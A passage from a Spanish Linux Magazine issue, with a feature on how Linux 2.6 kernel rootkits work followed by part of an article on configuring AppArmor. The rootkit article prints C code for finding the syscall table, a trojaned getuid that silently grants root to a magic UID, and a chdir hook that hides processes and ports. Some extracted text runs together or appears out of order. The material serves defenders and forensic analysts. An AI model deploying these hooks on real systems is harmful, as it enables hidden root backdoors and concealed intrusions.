privilegios necesarios para comenzar a
Nuestro sistema Linux puede que no sea tan hermético después de todo. Para comprender los peligros, tenemos
que pensar como un intruso. Este mes mostramos lo que les ronda la cabeza a los intrusos con el kernel 2.6.
POR JOE CASAD.
Cómo escribir un Rootkit . . . . . . . . . . .12
AppArmor . . . . . . . . . . . . . . . . . . . . . . .17
SELinux . . . . . . . . . . . . . . . . . . . . . . . . .21
AppArmor vs. SELinux . . . . . . . . . . . .25
En Portada
PORTADA • Rootkits
12 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Después de que un atacante haya com-prometido un objetivo, el siguientepaso es asegurarse un asidero. Cual-
quier atacante que se precie tratará de que losadministradores del sistema y los usuariosavanzados no se den cuenta de los cambiosno autorizados. Existen varias herramientaspara ayudar a los infiltrados a borrar pistas.Los llamados rootkits esconden procesos dela-tores, conexiones de red y los archivos de losadministradores, y garantizan el acceso al ata-cante mediante una puerta trasera.
Hace sólo unos años los hackers solíanmanipular algún programa instalado paracompilar un rootkit. Una versión de netstat
con un troyano escondería cualquier conexiónestablecida por el hacker, y un ps con troyanoofuscaría cualquier proceso ilegal. Debido aque un ataque típico implica reemplazar unbuen número de utilidades, los rootkits espe-ciales en espacio de usuario empezaron a apa-recer rápidamente. Estos kits, que incluyenvarios programas manipulados, son sencillosde instalar por los atacantes. La mayoría inclu-yen puertas traseras y herramientas popularespara hackers, como el IRC Bouncer.
Desde el punto de vista del hacker, los root-kits en espacio de usuario tienen una desven-taja importante: simplemente comparando elchecksum MD5 con el archivo original pode-mos descubrir un sabotaje. Y no debemosolvidar que existen programas especiales debúsqueda denominados cazadores de rootkits
que descubren rápidamente estos cambios.Otra desventaja es que la influencia del hackerestá restringida a las herramientas manipula-das: cualquier software que se instale poste-riormente (como lsof) o herramientas enmedios de sólo lectura (CD-ROM) se mantie-nen a salvo.
Kernel DinámicoUn rootkit que manipule el kernel posee uncontrol mucho mayor del sistema. El kernelsirve información del sistema a los procesos, yluego la presenta al usuario o administrador.
La versión 2.2 de Linux y posteriores carganmódulos dinámicos del kernel para proporcio-nar al administrador la posibilidad de cargardrivers y demás código en tiempo de ejecu-ción, y para eliminar la necesidad de recompi-lar el kernel y reiniciar. Los rootkits a nivel dekernel aprovechan este vía de ataque para eje-cutar código en espacio de kernel [2], elimi-nando la información que un atacante tuvieraque esconder antes de alcanzar el espacio deusuario.
El rootkit engaña de esta manera a los pro-gramas en ejecución, sin importar si se instala-ron posteriormente a quedar comprometido elequipo o con qué librerías se han enlazado.
Los excelentemente programados rootkitsde kernel de hoy día son casi perfectos maes-tros del disfraz. Ni las herramientas normalesdel sistema, ni las históricas herramientasforenses detectan este tipo de manipulación.
Métodos de ImplementaciónLos hackers han identificado varios métodospara manipular el kernel e implementar deesta manera un rootkit a nivel de kernel. Entreotras:• remplazar las llamadas al sistema originales
con versiones manipuladas (parcheando latabla syscall),
• insertar una nueva tabla de llamadas al sis-tema,
• cambiar los punteros en las estructuras delos sistemas de archivos de root y proc (par-cheando el Virtual File System [VFS] [3]),
• modificar directamente las estructuras delcódigo del kernel
Curiosamente, las técnicas del rootkit no serestringen completamente al hacking de unhacker malicioso . De hecho, los administra-dores pueden aprovecharse de la capacidad deanalizar y monitorizar sistemas haciendo usode herramientas como Kstat [4] o los móduloscomo Saint Jude [5]. Otros módulos comoSebek [6] son incluso más parecidos a root-kits, aunque sirven a propósitos útiles dentrode la industria de la seguridad.
El Problema con el Kernel 2.6El lanzamiento del kernel 2.6 significó uncambio drástico para los creadores de rootkits.A excepción de Adore-NG [7], no existen root-kits para el kernel actual, ni de naturalezamaligna ni benigna. La razón es que los ker-nels más antiguos usan símbolos para expor-
Los rootkits de hoy día se infiltran en el sistema objetivo a nivel de ker-
nel, escapando de esta manera de la atención del administrador. Siga
leyendo y descubrirá cómo funciona de verdad un rootkit de kernel.
POR AMIR ALSBIH
Rootkits para el kernel 2.6 de Linux
ARMA SECRETARootkits para el kernel 2.6 de Linux
ARMA SECRETA
Getdents64 se procesa por ls y se envía a lassalida estándar. Un kernel sin parchear (véasela Figura 2) devolverá los archivos creados porun atacante _R00t.txt y _R00tbackdoor.sh.
Compárese esto con el sistema comprome-tido mostrado en la Figura 3, donde el ata-cante ha parcheado la tabla de llamadas al sis-tema. La nueva llamada al sistema My_get-
dents64 llama a la rutina original Getdents64.My_getdents64 manipula entonces los valoresdevueltos por Getdens64, eliminando todoarchivo cuyo nombre empiece por _R00t, porejemplo. Libc le pasa así los resultados mani-pulados a ls. El programa procesa la informa-ción y saca los resultados por la salida están-
dar. Los archivos creados por el atacante seomiten de esta manera de la lista.
Encontrar la Tabla deLlamadas al SistemaAntes de que un rootkit pueda comprometeruna llamada al sistema, necesita primeroencontrar la tabla de llamadas al sistema. Unmétodo simple pero efectivo es buscar en todoel segmento de información. El rootkit Override[1] verifica cada dirección de memoria en elsegmento de información para ver si encuentraallí la tabla de llamadas al sistema (Listado 1).El bucle while de la línea 5 itera por toda direc-ción que pueda cumplir los requisitos.
tar la tabla de llamadas al sistema, haciendomás fácil parchearlas, mientras que Linux 2.6mantiene las direcciones en secreto. Un ha-cker necesitaría lo siguiente para parchear unallamada al sistema:• el código fuente del kernel y los archivos
creados en la compilación,• un enlace simbólico desde
/lib/modules/Kernelversion/build
to/usr/src/Kernelversion,• el kernel.conf correspondiente,• un makefile para el rootkitLos usuarios de la distro Gentoo tienen el tra-bajo más fácil, ya que la arquitectura de Gen-too nos proporciona todo esto.
Tabla de Llamadas al SistemaLa tabla de llamadas al sistema define la inter-faz entre el espacio de usuario y el espacio delkernel (véase la Figura 1). Una tabla de llama-das al sistema contiene las direcciones detodas las llamadas al sistema. La librería están-dar Libc asegura que las llamadas al sistemarequeridas se realizan en tiempo de ejecucióndel programa, mientras el kernel ejecuta lasllamadas. El programa en espacio de usuarioprocesa e interpreta los valores devueltos porlas llamadas al sistema.
Las llamadas al sistema que ofrece Linux seguardan en el archivo/usr/src/linux/include/asm/unistd.h. unistd.h
lista 293 llamadas, con sus posiciones en latabla, como la de la llamada al sistema leídaen la posición 3.
Original y CopiaEl principio de un rootkit a nivel de kernel esfácil de describir usando el programas ls comoejemplo. El programa se basa principalmenteen la llamada al sistema sys_getdents64().Ésta devuelve los archivos y subdirectorios enel directorio objetivo. El valor devuelto por
Figura 1: Las llamadas al sistema proporcionan una
interfaz entre los programas en espacio de usuario
y el kernel. Libc envuelve el proceso con sencillas
funciones de librería.
01 int get_sct() {
02 unsigned long *ptr;
03
04 ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
05 while((unsigned long )ptr < (unsigned long)init_mm.end_data) {
06 if ((unsigned long *)*ptr == (unsigned long *)sys_close) {
07 #ifdef DEBUG
08 printk (KERN_INFO” -> matching detected at %p\n”, ptr);
09 #endif
10 if ( (unsigned long *)*((ptr-__NR_close)+__NR_read)
11 == (unsigned long *) sys_read
12 && *((ptr-__NR_close)+__NR_open)
13 == (unsigned long) sys_open)
14 {
15 sys_call_table = (void **) ((unsigned long
*)(ptr-__NR_close));
16 break;
17 }
18 }
19 ptr++;
20 }
21
22 #ifdef DEBUG
23 printk (KERN_INFO”sys_call_table base found at: %p\n”,
sys_call_table);
24 #endif
25 if (sys_call_table == NULL) {
26 return -1;} else {
27 return 1;
28 }
29
30 return -1;
31 }
Listado 1: Encontrar la Tabla de Llamadas al Sistema
Rootkits • PORTADA
13Número 22W W W . L I N U X - M A G A Z I N E . E S
La búsqueda usa dos llamadas al sistemadel conjunto completo de símbolos del kernelexportados como candidatos de prueba. Lasdirecciones de las llamadas al sistema se cono-cen (exportadas). Los números que pertene-cen a las llamadas del sistema se listan comoconstantes en/usr/src/linux/include/asm/unistd.h:__NR_open, __NR_close y __NR_read. La línea6 del Listado 1 verifica si la dirección desys_close() reside en la dirección de memoriaque se está probando en ese momento.
La rutina verifica dos entradas más allá enla tabla de llamadas al sistema. La línea 10 usael índice de la tabla para calcular la direcciónde sys_read(). La línea 11 compara el conte-nido para asegurarse de que ha localizado ladirección de la llamada al sistema Read. Laslíneas 12 y 13 hacen lo mismo con Open. Sitodas las entradas coinciden, la línea 15 cal-cula la dirección de comienzo de la tabla dellamadas al sistema. Si no, la línea 19 incre-menta el puntero.
Llamadas al Sistema ObjetivoAhora que se conoce la dirección de la tablade llamadas al sistema, al rootkit se le abrentodas las posibilidades. El desarrollador puedeejecutar strace [8] para encontrar qué llamadaal sistema necesita manipular para trucar unprograma específico. La herramienta lista
todas las llamadas al sistema usadas por unproceso. El Listado 2 nos da una idea de quéaspecto tiene para id. id escribe el ID real yefectivo del usuario y grupo en la salida están-dar:
uid=500(grid-knight) U
gid=1000(master) U
groups=19(cdrom),27(video),U
1003(auditor)
La salida de Strace se envía a stderr. La pri-mera línea del Listado 1 indica que se usaexecve(), sin embargo, la llamada al sistemasimplemente ejecuta el programa /usr/bin/id.
Varias llamadas al sistema Open y Read
revelan qué archivos usa id. Pero en nuestrocaso, las llamadas al sistema getuid32() y get-gid32() son más interesantes, ya que solicitanlas IDs actuales del usuario y grupo.
id usa la llamada al sistema Write (últimalínea) para mostrar los resultados en línea decomandos. El descriptor de archivo 1 (el pri-mer parámetro) generalmente apunta a lasalida estándar.
Identidad SuplantadaLa llamada al sistema getuid32() es un obje-tivo preciado para los rootkits. Una variantecomprometida devolvería un ID incorrecto 0para un usuario con un ID de 6666, dando deesta manera permisos de root. Para ello no esnecesario manipular los archivos del sistema(/etc/passwd y /etc/shadow): la informaciónde la cuenta puede incluso obtenerse con unservidor NIS o LDAP. Incluso un administra-dor extraordinariamente cuidadoso que verifi-que las bases de datos de los usuarios regular-mente probablemente no se dará cuenta delengaño.
Para remplazar la llamada al sistema origi-nal con nuestra propia implementación, todolo que necesitamos hacer es insertar la nueva
dirección en la tabla de llamadas del sistema.El Listado 3 muestra el código paramy_getuid(). Las siguientes líneas guardan ladirección de la rutina original como org_getuid
y sobrescribe el puntero a la tabla:
org_getuid=sys_call_tableU
[__NR_getuid32];
(void *) sys_call_tableU
[__NR_getuid32]= U
(void *) my_getuid;
La línea 3 del código del Listado 3 permite a lallamada al sistema original descubrir la UIDauténtica y comparar así el valor devuelto conla constante MAGIC_UID (que debería estarfijada a 6666). Si los dos valores coinciden, lalínea 5 fija la ID de usuario para el procesoactual a 0 y devuelve este valor. En los demáscasos, my_getuid() devuelve simplemente elvalor de retorno original. Las líneas 11 a 19muestran un método similar para la ID efec-tiva del usuario.
Conmutadores OcultosEsconder procesos y puertos es más complejo.En lugar de codificar en bruto los valores en elrootkit, nuestro código de ejemplo usa con-mutadores ocultos en la llamada al sistemachdir(). Cuando el usuario (generalmente elintruso) cambia de directorio a uno secreto yficticio (ubicado en /dev, por ejemplo), el root-kit captura esta acción y oculta el proceso. Enlos demás casos, se realiza una llamada nor-mal a chdir.
La llamada al sistema chdir modificada enel Listado 4 (en la línea 5) verifica si el usuarioquiere cambiar el directorio al sistema dearchivos proc, y en este caso, si el usuarioselecciona uno de los procesos ocultos (líneasa 15). Si se cumple dicha condición, el rootkitevita que suceda (devuelve el valor -1). Estoengaña a los cazadores de rootkits que
01 execve(“/usr/bin/id”, [“id”], [/* 53 vars */]) = 0
02 uname({sys=”Linux”, node=”localhost”, ...}) = 0
03 open(“/dev/urandom”, O_RDONLY) = 3
04 read(3, “\10Y\vh”, 4) = 4
05 close(3) = 0
06 geteuid32() = 500
07 getuid32() = 500
08 getegid32() = 1000
09 getgid32() = 1000
10 write(1, “uid=500(grid-knight) gid=1000(master)...)
Listado 2: Salida de Strace
01 int my_getuid() {
02 int ret;
03 ret = org_getuid();
04 if (ret == MAGIC_UID) {
05 current->uid = 0;
06 return 0;
07 }
08 return ret;
09 }
10
11 int my_geteuid() {
12 int ret;
13 ret = org_geteuid();
14 if (ret == MAGIC_UID) {
15 current->euid = 0;
16 return 0;
17 }
18 return ret;
19 }
Listado 3: Llamada alSistema con Troyano
PORTADA • Rootkits
14 Número 22 W W W . L I N U X - M A G A Z I N E . E S
15Número 22W W W . L I N U X - M A G A Z I N E . E S
Rootkits • PORTADA
ción para el kernel2.6. Esconde todaslas IDs de procesosque queramos yautomáticamentetambién las de susprocesos hijos. Encaso necesario,esconde procesos,disfraza puertos dered, asigna privile-gios de root a proce-sos predefinidos porel usuario y escondecualquier fichero queempiece por un pre-fijo determinado. Laocultación del rootkitde demostración noes perfecta. Por ejem-plo, deja un rastrovisible de símbolosdel kernel en/proc/kallsyms, quees donde el kernelguarda todos sus
símbolos de kernel.
AlcanceAdemás de parchear las llamadas al sis-tema, los atacantes pueden acudir a otrastécnicas para desarrollar rootkits. Unintruso avezado puede atacar el VFS (Vir-tual File System) o manipular directamenteel código del kernel. Los kits que manipu-lan el código del kernel pueden funcionarsin el soporte para módulos del kernel,pero será más difícil de implementar si nohacen uso de un módulo del kernel. Sinembargo, la interfaz /dev/kmem usadapara este propósito se quitó en el kernel2.6.14. Una herramienta como KernelGuard [1] puede casi tapar este agujero,pero en sistemas antiguos es posible tam-bién deshabilitar Kernel Guard usando/dev/kmem.
Las cosas comienzan a ponerse real-mente difíciles para los atacantes cuandoel kernel no tiene soporte para módulos. Sipreferimos no eliminar esta importantefuncionalidad del kernel, Kernel Guard esuna simple pero efectiva ayuda.
Kernel Guard es un rootkit benigno quemodifica las dos llamadas al sistema res-ponsables de cargar y descargar los módu-los del kernel. Tras cargar Kernel Guard,nadie (incluyendo los usuarios con privile-gios de root) podrán cargar o descargar unmódulo en el kernel.
prueban todas las IDs de los procesos en/proc/PID y compara los resultados conla tabla de procesos.
Se producen cinco comparaciones conconmutadores ocultos, y se dispara unaacción especial si la ruta comienza conun conmutador predefinido. Las líneas18 a 20 añaden la ID del proceso agre-gada a la ruta virtual por el atacante a lalista de procesos. Las siguientes treslíneas eliminan toda entrada. Las líneas46 a 51 contienen el código para ocultary revelar puertos de red.
El código de las líneas 24 a 45 lista losprocesos ocultos. Un bucle itera contra elarray de procesos a esconder. Si encuen-tra una entrada (distinta a 0),find_task_by_pid() de la línea 37 loca-liza la estructura del PID (definida en/usr/include/linux/sched.h). La siguientelínea escribe el PID y el nombre delcomando coincidente, task.comm, alárea de memoria del kernel. La llamadaa copy_to_user() transfiere este área aespacio de usuario, y org_write() escribeel contenido en la salida estándar a tra-vés del descriptor de fichero 1.
El Rootkit OverrideEl proyecto Override [1], obra del hackerNewroot y de mí mismo, combina lastécnicas discutidas hasta ahora e imple-menta un completo rootkit de demostra-
Figura 2: Un sistema sano saca el contenido del directorio (arriba a la
derecha) cuando se le solicita por parte de un usuario (ls -la). Para ello,
el programa hace la llamada al sistema Getdents64 e interpreta los
valores devueltos.
16 Número 22 W W W . L I N U X - M A G A Z I N E . E S
PORTADA • Rootkits
01 int my_chdir (char *path)
{
02 char *ptr=NULL;
03 int pid;
04 int i;
05 if (strncmp
(PROC_STRING, path, strlen
(PROC_STRING)) == 0) {
06 ptr = path + strlen
(PROC_STRING);
07 pid = my_atoi (ptr);
08 if (pid > 0) {
09 for (i=0;
i<=MAX_HIDE_PIDS; i++) {
10 if
(hide_pids[i] != 0) {
11 if (pid ==
hide_pids[i]) {
12 return
-1;
13 }
14 }
15 }
16 }
17 }
18 if (strncmp
(CHDIR_HIDE_PID, path,
strlen(CHDIR_HIDE_PID)) ==
0) {
19 ptr = (char *)path +
strlen (CHDIR_HIDE_PID);
20 return
hide_pid(my_atoi(ptr));
21 } else if (strncmp
(CHDIR_UNHIDE_PID, path,
strlen(CHDIR_UNHIDE_PID))
== 0) {
22 ptr = (char *)path +
strlen (CHDIR_UNHIDE_PID);
23 return
unhide_pid(my_atoi(ptr));
24 } else if (strncmp
(CHDIR_SHOW_PIDS, path,
strlen(CHDIR_SHOW_PIDS))
== 0) {
25 char pidlist[32];
26 unsigned long mmm;
27 struct task_struct
*task;
28 char *string;
29 int i;
30
31
mmm=current->mm->brk;
32
org_brk((char*)mmm+32);
33 string = (char *)mmm
+2;
34
35 for (i = 0; i <=
MAX_HIDE_PIDS; i++) {
36 if (hide_pids[i]
!= 0) {
37 task =
find_task_by_pid
(hide_pids[i]);
38 snprintf
(pidlist, 32, “%d - %s\n”,
hide_pids[i], task->comm);
39 copy_to_user
(string, pidlist,
strlen(pidlist)+1);
40 org_write (1,
string, strlen(string)+1);
41 }
42 }
43
44 org_brk((char*)mmm);
45 return 0;
46 } else if (strncmp
(CHDIR_HIDE_NET, path,
strlen(CHDIR_HIDE_NET)) ==
0) {
47 ptr = (char *)path +
strlen (CHDIR_HIDE_NET);
48 return
hide_port(my_atoi(ptr));
49 } else if (strncmp
(CHDIR_UNHIDE_NET, path,
strlen(CHDIR_UNHIDE_NET))
== 0) {
50 ptr = (char *)path +
strlen (CHDIR_UNHIDE_NET);
51 return
unhide_port(my_atoi(ptr));
52 }
53 return org_chdir
(path);
54 }
Listado 4: Conmutador OcultoConclusionesLos programas basados en checksum,como Aide o Tripwire, no puedenayudarnos en la batalla contra losrootkits a nivel de kernel. Los rootkitsmanipulan las llamadas al sistemadirectamente, o en otros lugares delkernel, y esto les proporciona lacapacidad de trucar cualquier programaen espacio de usuario.
Necesitamos saber cómo funcionaexactamente un rootkit para tener algunaoportunidad de descubrir algún rastrorevelador de un sabotaje. Dónde tienenque mirar los expertos forenses y quétendrían que encontrar, dependeenormemente del rootkit que esténcazando. �
Figura 3: En un sistema comprometido, la lla-
mada al sistema mostrada en la Figura 2 llama a
una versión con troyano, My_getdents64, que
llama al Getdents64 original, manipula los valo-
res de retorno, y le pasa esos valores al pro-
grama de usuario.
[1] Amir Alsbih, Override Rootkit and
Kernel Guard: http://www.informatik.
uni-freiburg.de/~alsbiha/code.htm
[2] Halflife, “Abuse of the Linux Kernel
for fun and profit”: http://www.
phrack.org/phrack/50/P50-05
[3] Palmers, “Advances in Kernel Hack-
ing”: http://www.phrack.org/phrack/
58/p58-0x06
[4] S0ftpr0ject: http://www.s0ftpj.org/en/
tools.html
[5] Saint Jude: http://sourceforge.net/
projects/stjude
[6] Sebek: http://www.honeynet.org/
tools/sebek/
[7] Adore-NG: http://packetstorm.
linuxsecurity.com
[8] Strace: http://www.liacs.nl/~wichert/
strace
RECURSOS
herramientas instaladas localmente. Una
única vulnerabilidad en el UID root del
programa es todo lo que hace falta para
que el atacante tome las riendas.
Tradicionalmente, los administradores y
los webmasters no tenían más alternativa
que mantener sus sistemas actualizados y
eliminar cualquier lastre, es decir, instalar
sólo aquel software que realmente les era
necesario. Pero nada de esto puede prote-
ger al sistema contra exploits del día 0, es
decir, ataques cuyo objetivo son agujeros
de seguridad previamente desconocidos.
Cómo FuncionaAppArmor está diseñado para ayudar a los
administradores a montar una trampa. El
sistema monitoriza la forma en que los
procesos acceden a los ficheros, distin-
guiendo entre accesos de lectura y escri-
tura, así como el uso del privilegio de root.
Dependiendo del kernel, Linux puede dis-
tinguir entre 29 capacidades (véase man 7
capabilities). Por ejemplo, CAP_KILL se
refiere a la capacidad del root para termi-
nar un proceso y CAP_RAW le permite
crear paquetes de red arbitrarios. El
comando ping necesita disponer de esta
capacidad, por ejemplo.
La idea de controlar el acceso y las
acciones basándose en el programa en vez
de en el propietario y/o usuario no es nada
nuevo. En los sistemas Free BSD y Linux,
Systrace de Niels Provo implementa este
La visión de Novell sobre AppArmor
es la de un sistema de protección
efectivo para Linux fácilmente con-
figurable. De acuerdo con el fabricante,
AppArmor compite con SELinux, que ha
sido parte de la distribución Suse desde
hace un tiempo, aunque careciendo de las
políticas necesarias para su ejecución.
SELinux es comparativamente más difícil
de configurar, pero implementa adecuada-
mente MACs (Mandatory Access Control),
AppArmor, sin embargo, se centra en res-
tringir el alcance de las aplicaciones indivi-
duales.
La TareaEs un hecho desafortunado que muchos
programas sufran errores, sobre todo
cuando afectan a las aplicaciones web,
particularmente sensibles a este problema.
La mayoría del software no está progra-
mado por especialistas en seguridad, aun-
que pueda ser públicamente accesible
desde la web, lo que hace que sea un
blanco fácil para los atacantes. Si uno de
ellos encuentra un error de programación
en la aplicación, puede explotarlo y ganar
de este modo acceso al sistema.
Incluso si el atacante sólo compromete
una cuenta de usuario estándar, esto sería
peligroso para la víctima. La cuenta le pro-
porciona al hacker acceso directo a las
AppArmor • PORTADA
Bloqueo de Intrusos con AppArmor
ARMADO Y PROTEGIDO
AppArmor comenzó su carrera como un
producto comercial de Immunix, aunque
era conocido como Subdomain. Novell
adquirió Immunix a mediados de 2005,
renombrando Subdomain a AppArmor y
licenciando el código bajo la licencia GPL a
principios de 2006. Immunix era una vieja
conocida de los vendedores de soluciones
de seguridad debido especialmente al
compilador Stackguard, una modificación
de GCC que protege a las aplicaciones de
las distintas versiones del ataque “buffer
overflow”. Immunix también estaba bas-
tante implicada en el desarrollo de la inter-
faz LSM (Linux Security Module) para el
kernel 2.6. Además de AppArmor, varios
sistemas de seguridad, como LIDS (Linux
Intrusion Detection System) y el productor
competidor SELinux, utilizan la interfaz
LSM para inyectar controles donde se
necesiten en el kernel. Gracias a LSM no se
requiere el uso de parches, lo que no
impide que la arquitectura LSM sea un
tema de debate en algunos proyectos.
Immunix
W W W . L I N U X - M A G A Z I N E . E S 17Número 22
Cuando un atacante consigue infectar el sistema de una víctima hereda sus privilegios. AppArmor
bloquea el ataque reduciendo los privilegios potenciales de la víctima al mínimo.
POR RALF SPENNBERG
ARMADO Y PROTEGIDOCuando un atacante consigue infectar el sistema de una víctima hereda sus privilegios. AppArmor
bloquea el ataque reduciendo los privilegios potenciales de la víctima al mínimo.
POR RALF SPENNBERG
Bloqueo de Intrusos con AppArmor
principio, por ejemplo. Pero mientras
Systrace monitoriza las llamadas al sistema
(tal y como indica su nombre), AppArmor
utiliza el LSM Hooks (véase el cuadro
“Immunix”).
Instalación de AppArmor enLinuxNovell incluye AppArmor con las ditribu-
ciones comerciales Suse Linux 10.0 y SLES
9 SP3 (Suse Linux Enterprise Server 9, Ser-
vice Pack 3). Open Suse 10.1 es la variante
GPL. Se puede instalar AppArmor en Open
Suse 10.0, aunque se requiere un parche
del kernel que consume tiempo. De
acuerdo con las listas de distribución [2],
se espera que Ubuntu y Fedora lo soporten
en el futuro. El GUI requiere Yast 2 al
tiempo de escribir este artículo.
Novell posee diversos paquetes disponi-
bles en Novell Forge [3]. Los RPMs para la
versión alpha de Open Suse 10.1 funciona-
rán en Open Suse 10.0. Se requiere tam-
bién un kernel con soporte para AppAr-
mor. La mejor solución es utilizar un
paquete original del repositorio del kernel
[4], por ejemplo, Linux 2.6.15, en combi-
nación con los parches del kernel aa_2.0-
2.6.15.patch y aa_namespace_sem-
2.6.15.patch. Cuando se ejecuta make old-
config para la configuración, normalmente
se presiona la tecla [Enter] para aceptar los
valores por defecto cuando se soliciten.
Los pasos individuales se muestran en el
Listado 1.
En parches posteriores, Novell renom-
brará la estructura del kernel en Security
FS a /sys/kernel/security/apparmor. Secu-
rity FS ha sido parte del kernel estándar
desde la versión Linux 2.6.14.
Comenzar a TiempoEl componente del espacio de usuario de
AppArmor ejecuta el servicio del sistema y
asigna la política. El script init ha mante-
nido el nombre del antiguo subdominio:
/etc/init.d/subdomain start carga y habilita
el módulo del kernel AppArmor. Para per-
mitir al módulo la monitorización de una
aplicación, tiene que estar activo antes de
que se ejecute la aplicación que se quiera
proteger. Esta es la razón por la que debe
ejecutarse en el momento del arranque del
sistema. La aplicación también necesita un
fichero de perfil en /etc/subdomain.d (las
próximas distribuciones usarán /etc/appar-
mor.d).
Novell proporciona perfiles para la gran
mayoría de comandos críticos, incluyendo
servidores como Apache (en modo Pre-
fork) y OpenSSH, para las herramientas S-
Bit como ping y man, clientes de red como
Firefox y Real Player, visores como Acrobat
Reader e incluso para los servicios de pro-
tocolos Klogd y Syslogd.
Perfiles NuevosSi se necesitan crear perfiles nuevos para
las aplicaciones puede ser de ayuda el asis-
tente de perfiles basado en Yast, para lo
cual, lo primero que necesita saber es a
qué programa se le va a crear el perfil. A
continuación, el usuario lanza el programa
y lo ejecuta como siempre.
Es importante utilizar todas las funcio-
nes de la aplicación en esta fase. Hay que
asegurarse de que no se sufrirá un ataque
durante el aprendizaje. Posteriormente
AppArmor permitirá todas las característi-
cas que la aplicación utilice en este
momento. Durante esta fase AppArmor
aprende las funciones legítimas de la apli-
cación.
Tras cerrarla, el siguiente paso será ana-
lizar los eventos registrados por el asistente
de perfiles. El asistente sugiere una acción
para cada caso. Si el programa monitori-
zado llama a otro programa, el asistente de
perfiles proporcionará las siguientes opcio-
nes: Inherit significa que las mismas res-
tricciones se aplican a la nueva aplicación,
por ejemplo a kdialog. Profile significa que
el programa tendrá su propio perfil. Con
Unconfined AppArmor no monitorizará al
nuevo proceso y Deny impedirá que se eje-
cute la aplicación.
Para facilitar el proceso de crear y man-
tener los perfiles, AppArmor utiliza la téc-
nica de inclusión de ficheros. Los ficheros
están implementados como librerías abs-
tractas y contienen reglas para las opera-
ciones estándar. Por ejemplo, #include
<abstractions/kde> permite acceso a los
ficheros de configuración y funciones de
KDE. Otros perfiles permiten a los usuarios
ejecutar Bash o la resolución de nombres.
Después de completar con éxito el asis-
tente, será conveniente reejecutar la aplica-
ción y probarla para ver cómo se comporta
bajo la tutela de AppArmor. Si se advierte
que algunas funciones no funcionan como
se esperaba, habrá que volver a ejecutar el
asistente. En este caso, el asistente lee el
perfil existente y lo actualiza con los cam-
bios.
El Listado 2 proporciona un perfil típico
de AppArmor para Kpdf. Después de los
comentarios Vim (Suse proporciona un
módulo de coloreado de la sintaxis para
Vim), el perfil empieza con la ruta a Kpdf;
esto especifica qué programa va a gober-
nar la política.
flags=(complain) conmuta el perfil en
modo de “queja”, también conocido como
modo de aprendizaje. En este modo,
AppArmor avisará de las infracciones con-
tra la política pero sin impedir que los
eventos se produzcan. Si se conmuta a
flags=(enforce) restringirá las capacidades
de Kpdf.
Las líneas de la 4 a la 10 hacen referencia
a diversos ficheros que se van a incluir y
las líneas 12 a la 18 listan las rutas a las
que el visor de PDF tiene permitido el
acceso. Una r tras la ruta y los nombres de
los ficheros se refiere a un acceso de lec-
tura, mientras que rw permite tanto los
accesos de lectura como la escritura.
Servidores WebAppArmor es particularmente útil en los
servidores web. Al contrario que los siste-
mas LIDS, GR Security, RSBAC o SELinux
(Mandatory Access Systems), AppArmor
puede monitorizar los hosts virtuales
con diferentes perfiles en un servidor
web. El servidor web Apache puede
modificar los perfiles dependiendo del
directorio actual. Novell se refiere a esto
como función change_hat.
Pero sin algo de ayuda por parte de
Apache, AppArmor no sería capaz de
averiguar el estado del servidor web.
Novell proporciona el módulo
mod_change_hat que se encarga de ello
(en un futuro el nombre se cambiará por
PORTADA • AppArmor
18 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Listado 1: Pasos para lainstalación
01 tar xjvf linux-2.6.15.tar.bz2
02 cd linux-2.6.15
03 patch
-p1<../aa_2.0-2.6.15.patch
04 patch
-p1<../aa_namespace_sem-2.6.1
5.patch
05 make oldconfig
06 make bzImage
07 make modules
08 make modules_install
09 make install
10 rmdir /subdomain
11 ln -s
/sys/kernel/security/subdomai
n /subdomain
Se necesita un subperfil que le proporcione
a Squidfire el acceso. Al mismo tiempo,
este perfil restringirá este acceso sólo a los
ficheros de registro de Squid. Esta precau-
ción impedirá que los usuarios de Squid-
fire puedan utilizar esta herramienta para
evaluar otros ficheros de registros distintos
de los de Squid.
De nuevo, el asistente de perfiles de Yast
gestionará la configuración del subperfil.
Cuando se ejecute el asistente, hay que
seleccionar a Apache como la aplicación.
Esto le indica a AppArmor que permita
todas las acciones para este proceso y que
registre estas acciones para un análisis pos-
terior. Después de trabajar con la aplica-
ción con el navegador web durante unos
minutos, hay que hacer clic en el botón
Scan system log for AppArmor events en el
asistente de perfiles (Figura 2) para com-
pletar la fase de entrenamiento. Si se está
entrenando a una aplicación compatible
con “change-hat”, el asistente de perfiles
sugerirá que se cree un subperfil nuevo
(hat).
Límites EstrictosHay que tener cuidado a la hora de respon-
der a las preguntas que realiza el asistente,
particularmente si la aplicación principal
realiza llamadas a programas externos. Es
lógico dejar que estas aplicaciones hereden
el perfil de la aplicación que las invoca.
Cuando se añaden imágenes y ficheros
CSS, el perfil por defecto de Apache es una
elección delicada. Tras realizar una serie
de preguntas, el asistente de perfiles conti-
núa creando un subperfil en
usr.sbin.httpd2-prefork (el Listado 3 mues-
tra una parte).
Por defecto, se utiliza la URI para distin-
guir entre los diferentes subperfiles de
Apache dentro del perfil (véase la Línea 2
del Listado 3). Este ejemplo permite a la
aplicación web /squid/index.php utilizar
Bash y leer varios ficheros del sistema. El
Listado 3 también utiliza el componente
Squidfire (Lineas 11 a 15) y por último el
listado evalúa los ficheros de registro de
accesos de Squid y Apache (Líneas 18 y
20).
En una inspección más detallada, el sub-
perfil realmente enfatiza cómo son de peli-
grosas algunas de las acciones de las apli-
caciones. La aplicación utiliza obviamente
los ficheros con nombres predecibles en el
directorio /tmp (Línea 16) y realiza llama-
das a comandos externos de la shell (véase
la referencia a Bash en la Línea 6. También
se puede encontrar el comando tail en la
Línea 17).
Distinción de DirectoriosEl módulo mod_change_hat permite orga-
nizar los subperfiles de varios hosts virtua-
mod_apparmor). AppArmor permite a
los programas cambiar su contexto de
seguridad, aunque sea el servidor web
Apache el único programa que tiene
implementada esta característica en el
momento de esribir este artículo. Un per-
fil principal de una aplicación puede
tener un número arbitrario de subperfi-
les (denominados hat). La jerarquía está
restringida a una capa: los subperfiles no
pueden contener otros subperfiles.
Cambio de SombrerosYast tiene una interfaz gráfica para la
gestión de los subperfiles. La herra-
mienta de la línea de comandos es más
potente, pero la configuración con Yast
es más simple. Las siguientes secciones
utilizan la aplicación web Squidfire
(Figuras 1 y 6) para describir la variante
Yast. Squidfire es un script PHP que hace
que los ficheros de registro de Squid
sean accesibles y se pueda buscar en
ellos. El perfil de AppArmor proporcio-
